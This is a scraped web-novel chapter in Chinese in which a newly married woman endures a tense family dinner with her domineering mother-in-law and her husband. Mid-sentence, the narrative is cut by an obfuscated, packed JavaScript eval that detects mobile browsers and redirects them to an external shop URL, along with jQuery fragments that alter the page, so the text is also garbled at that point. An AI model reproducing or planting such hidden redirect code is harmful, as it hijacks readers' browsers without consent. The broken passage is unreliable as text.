默认冷灰
24号文字
方正启体

6. 勿忘我06

作者:燕攸本书字数:K更新时间:
    婆婆乔熠臻昨天通知他们参加家宴,一忙工作,陆歆蕴就给忘了。


    婚后这一年,她和小姑乔诗浅接触比较多,关系相对密切。至于婆婆,只在春节期间见过一面。


    乔熠臻是一位传奇女性,二十岁进入君御集团担任市场部总监,仅用两年时间打开欧洲市场,一路平步青云。此后干掉一众叔伯兄弟,架空两位叔伯,成为仅次于其父乔乾的第二把手。三十岁出任CEO,三十五岁的乔熠臻成为掌权人,君御集团正式进入“熠臻时代”。


    这个时期,集团内部大力推行“狼性文化”,实行优胜劣汰、绩效管理、团队连坐……一系列制度改革和激励机制,使整个君御处于高压环境中。最初不少老臣颇具微词,但随着钱包越来越鼓,反对声逐渐消失,君御变成乔熠臻的一言堂。


    直到今年乔闻川回国,长达二十年的“熠臻时代”进入尾声。


    这些光辉事迹,陆歆蕴是从妈妈那听来的,她是乔熠臻的至交好友。


    除此还有一些不为人知的豪门秘辛。比如乔熠臻二十八岁听从家族安排,招北安市裴家六公子为赘婿,生下乔闻川,三年后裴六因孕期出轨女明星被净身出户。


    外界说法如此,其实不然。裴六出轨是乔熠臻一手设计的,真正没抵制住诱惑的人是她自己。但小三没能父凭女贵入赘乔家,迄今除去少数知情者,别人都以为乔闻川和乔诗浅是同父同母的亲兄妹。


    同求全责备的婆婆见面,仪容仪表必定不能马虎。面对琳琅满目的礼服,陆歆蕴犯难。


    瞥见旁边橱柜里挂着非黑即白的男士礼服套装,脑海中浮现背黑腹白的企鹅,当然乔闻川没有企鹅万分之一可爱。


    羡慕他,完全不需要纠结服装搭配。


    在衣帽间来来回回走两遍,她选中一条米色吊带长裙。既是家宴,简约大方点总不会错。


    但当乔闻川一身tuxedosuit出现在她面前时,陆歆蕴不得不怀疑自己理解能力出现问题。


    难道他们说的家宴,指的是皇家级宴会?


    “我这样穿可以吗?”她提着裙摆,细声问乔闻川。


    乔闻川认真将她的裙子扫视一遍,欲言又止。


    “唉,换礼服好麻烦啊。”她自言自语嘀咕,作势转向橱柜重新挑礼服,这时乔闻川说,没问题。


    就是故意说给你听的!陆歆蕴得逞地笑。


    其实她并不介意重新换一套,只是想在一室礼服中,挑出非后背拉链、非后背绑带的实在费时费力。再者说,她也不能让乔闻川帮她拉拉链或者系绑带吧?虽然秦阿姨在楼下,但她们也不熟。


    抵达静园,天已经黑了。


    凄凄月光照进中式园林,海棠窗后的绿芭蕉摇扇相迎,婆娑清影在太湖石上扑朔,迷迷荡荡地跌进湖里去,惊得红鲤竞相腾跃,湖上暖融融的花灯随波漂流,衬得夜色愈发迷离。


    车徐徐停在楼前空地,陆歆蕴下车站定,一件浅棕开司米披肩抵上手臂。


    “夜里风大,别着凉。”身后传来乔闻川的声音。


    “谢谢乔先生。”她接过挂在臂弯。


    耽误这几分钟,乔诗浅也到了,下车向他们奔来:“哥,嫂子!”


    乔诗浅今夜穿着,颠覆了陆歆蕴对她的认知。印象中,乔诗浅一直以性感辣妹形象存在,穿衣打扮标新立异,似乎从未见过她如此低调端庄。


    “第一次见你穿复古风。”陆歆蕴笑着帮她整理咖色大翻领。


    乔诗浅抱怨道:“我妈不喜欢我衣着暴露,去年中秋穿抹胸短裙来被她骂了好久。”


    手臂倏然一沉,她恍然大悟,乔闻川走近,向她略抬胳膊,“我们进去吧。”


    “等等,浅浅帮我拿一下。”她把链条包给乔诗浅,展开披肩往颈间围。


    啊——好像卡住了。


    陆歆蕴皱眉,抬手朝后伸,冷不防拍到温热手背。


    所有注意力集中在丸子头。


    感觉有只手托住侧方丸子,另一只手慢条斯理解开流苏,牵着披肩一端垂到肩侧。


    重力牵引着披肩擦过胸口,末端流苏调皮地挠她手心,陆歆蕴后知后觉那是谁,连声道谢。


    刚过去的半分钟,丈夫为她解流苏时,她心里想的却是另一个人。若无其事挽上丈夫臂弯,更觉羞愧难当。


    三人通过鱼沼飞桥,进入格栅门,仿若来到旧世界。


    布局陈设古色古香,位于中轴线的匾额题着篆体字,下墙挂着长幅字画对联,前置八仙桌和太师椅,乔熠臻不端不正坐在右边椅子,斜着上半身双臂倚靠桌边,左手拈一支白玉兰,右手抓一把花艺剪,慢悠悠修理余支。


    见他们进屋,懒懒地拨冗一顾:“坐吧,还有一会开饭。”


    乔诗浅率先跑过去,坐在乔熠臻对侧,托腮观摩交泰白瓷花瓶,狂拍马屁:“妈妈您的品味越来越高级了,怎么能想出迎春配玉兰这种神仙组合。”


    “那是连翘。”乔熠臻头也不抬,兀自修剪花枝,“你下去,歆蕴过来坐。”


    陆歆蕴随在乔闻川身侧,正要落座,一听这话马上和乔诗浅互换了位置,乖巧地叫声妈。


    乔熠臻抬眸瞧她,眼尾尖尖向上挑,笑着应了声,信手将剪好的白玉兰信手扣进花瓶,从桌下摸出个檀木匣子。


    “这一年我忙着顾不上照看你,在家里可还好?”


    陆歆蕴陪着笑:“谢谢妈关心,一切都好。”


    “我记得你喜欢翡翠,我这些年收罗了不少,挑了只适合你的。”乔熠臻将匣子推到她面前,“来,戴上试试。”


    帝王绿手镯套在手腕上,衬得皮肤更加晶莹透亮。陆歆蕴一向觉得帝王绿颜色过重,显贵还显岁月感,但乔熠臻选的这只,清透明净,寒光泠然,出奇符合她的审美。


    管家通知晚餐备好,一家人移步餐厅。在乔家实行分餐制,长条餐桌上摆着四组菜肴。


    陆歆蕴看见座位排布后往旁边让一让,望向跟在身后的乔闻川。


    她不知道自己该坐哪个位置。


    阿姨收到眼神指示拉开主位下首的椅子,乔闻川虚揽着她带到座位,自己则坐她旁边,离乔熠臻最远的位置。


    吃饭期间,整个餐厅只有极轻极轻的餐具触碰声,陆歆蕴怕自己成为打破宁静的异类,连汤都不敢多喝。


    饭菜合她胃口,乔熠臻应该提前交代过厨房,送到她面前的菜没有忌口,调味品也没有葱和姜,但人处在压抑环境里吃饭,和嚼蜡没什么分别。


    余光不受控制神游,瞟见乔闻川手边放着一盘土豆丝。她记得乔闻川不吃土豆,当然也只知道他不吃土豆。在世界尽头的美术馆一楼餐吧,她买了份薯条,他一点没碰。


    好奇怪,厨师特别照顾她的口味,却不注意他们少爷忌口。


    乔熠臻放下筷子,一瞬间空气仿佛停止流动,乔家兄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202793|197263||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妹筷子同步静止,陆歆蕴也放弃转动汤匙。


    所有人都在屏息等待什么重要指令。


    “闻川。”


    乔闻川趁机将抵着餐盘的筷子放下,拿起餐巾擦了擦嘴角,和乔妈对个眼神,目光随即落到陆歆蕴身上。


    “今晚的菜合不合胃口?”


    “嗯嗯,很不错。”回答缺乏可信度,面前的菜都没怎么动过。


    “还想吃点别的吗?我让厨师现在去做。”


    “不用啦,我最近减肥不能吃太多,乔先生你安心用餐。”


    起初陆歆蕴没意识到不对劲,直到气氛再次变冷。


    “妈妈你不懂,现在的小情侣就喜欢互相叫先生小姐搞情趣。”乔诗浅帮他们打圆场,“是吧哥哥?”


    乔闻川不冷不热“嗯”了声,乔熠臻没深究,插曲到此结束。


    风引窗外绿竹折腰,咔吱——婆娑竹影从槛窗漏进来,陆歆蕴举目眺望,团团竹叶中藏着一座青瓦水榭,檐下一女一男,一坐一立。


    凭栏而坐那位盘发夫人,手上抓一柄藤黄缂丝扇轻摇着,招来的风吹起鬓边几缕白发,掠过眼角细纹。


    “你这几天都住公司附近?”


    “是。”


    “过去的就不提了,你现在是有家庭的人,不能因为工作冷落太太。”


    “嗯,我会注意。”


    乔熠臻挑起眼睛打量,带有挑剔意味的眼神从乔闻川头顶溜到鞋底,反弹向上停在膝盖:“裤子穿错了。”


    乔闻川低头一看,果然穿错了。


    双侧章礼服裤配的是燕尾服。


    因为衣橱的感应灯故障,光线太暗导致他拿错了裤子。


    因为工作生活中,几乎不会有人关注别人裤子侧面有几条边,所以他没有仔细检查的习惯。


    乔熠臻也不关注别人裤子几条边,她只关注乔闻川。


    “袖扣太张扬,和这身礼服不搭。”


    “我下次注意。”


    他甚至懒得在这时候看一眼袖扣。


    女孩谈笑声回荡水上,陆歆蕴和乔诗浅手挽手在廊桥中穿梭,不知聊到什么趣事,两个人捂着嘴笑弯了腰。


    靠近水榭,笑声渐渐沉下去,一左一右站到乔闻川身边。


    乔熠臻笑吟吟拉过儿媳妇坐下,兄妹俩就挨一块坐附近,也不说话,各自欣赏湖光山色。


    虽然不知道有什么可赏的,但这时玩手机是万万不可的。


    “怎么穿这么素?”乔熠臻摆弄着陆歆蕴的披肩,闲话似的问,“是不是乔闻川不给你买衣服?”


    陆歆蕴如坐针毡:“没有没有,他对我很好,只是我们来得匆忙,我就随意换了件。”


    好想变成鱼跳进湖里。


    感觉婆婆问的每一句话都另有深意,分不清是真心还是客套。


    感觉自从进了静园,乔闻川连呼吸都有错。


    别人家的婆媳问题,是丈夫从中调和亲妈与妻子的矛盾,乔家的婆媳问题,是妻子在婆婆批评丈夫时,既要替丈夫开脱,又不令婆婆难堪。


    交锋几个回合,陆歆蕴回话速度越来越慢,阅读理解能力直线下降。


    一场所谓的家宴,竟使她如此心力交瘁。


    离开静园,两人坐在车里,像落败而归的士兵,气氛十分低迷。


    一路无话回到水曜庭,乔闻川径自上楼,陆歆蕴叫住他:“乔先生,我们聊聊?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)